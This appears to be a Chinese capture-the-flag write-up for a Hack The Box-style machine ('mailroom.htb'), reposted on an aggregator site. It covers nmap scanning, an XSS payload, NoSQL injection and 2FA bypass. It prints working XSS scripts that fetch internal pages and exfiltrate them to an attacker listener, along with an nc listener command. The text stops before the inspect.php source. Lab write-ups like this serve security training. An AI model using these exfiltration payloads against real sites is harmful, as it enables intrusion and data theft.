渗透测试 您所在的位置:网站首页 php读取xml文件 渗透测试

渗透测试

2023-05-18 13:29| 来源: 网络整理| 查看: 265

常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。

一、信息收集

nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209

看来要从80端口的web服务硬着开始了。

目录扫描一波无果,发现还存在子域名;

另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性);

接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。

二、漏洞挖掘1、XSS漏洞

进到web界面各种尝试发现了一个xss,

alert('xss')

并没有过滤,可以成功触发;

第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到;

后续也尝试了其他利用方法均无果。

2、XMLRequest发起ajax请求

在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;

var fetch_req = new XMLHttpRequest(); fetch_req.onreadystatechange = function() { if(fetch_req.readyState == XMLHttpRequest.DONE) { var exfil_req = new XMLHttpRequest(); exfil_req.open("POST", "http://10.10.16.5", false); exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response); } }; fetch_req.open("GET", "http://127.0.0.1//contact.php", false); fetch_req.send();

nc -lvnp 80

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。

我们直接在kali本地访问子域名,发现403了。

那么接下来我们尝试使用xss进行请求。

└─# cat pwned.js var http = new XMLHttpRequest(); http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.onload = function () { fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText))); }; http.send(null);

Burp报文

POST /contact.php HTTP/1.1 Host: mailroom.htb Content-Length: 82 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://mailroom.htb Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://mailroom.htb/contact.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close email=1%401.com&title=1&message=

成功接收回显!!读取到的内容是base64 加密过后的内容。

3、代码审计

对主要的auth.php认证文件进行审计;

审计了一下,这个页面的作用是身份认证,正如文件名auth.php 一样 ,首先观察到后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始身份认证逻辑。

首先检查用户是否通过POST请求发送emali 和 password 字段,在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑。服务器会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段,最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型。

这里是存在nosql注入的,有关于nosql注入的知识请自行补充。

在看下inspect.php的源码;



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有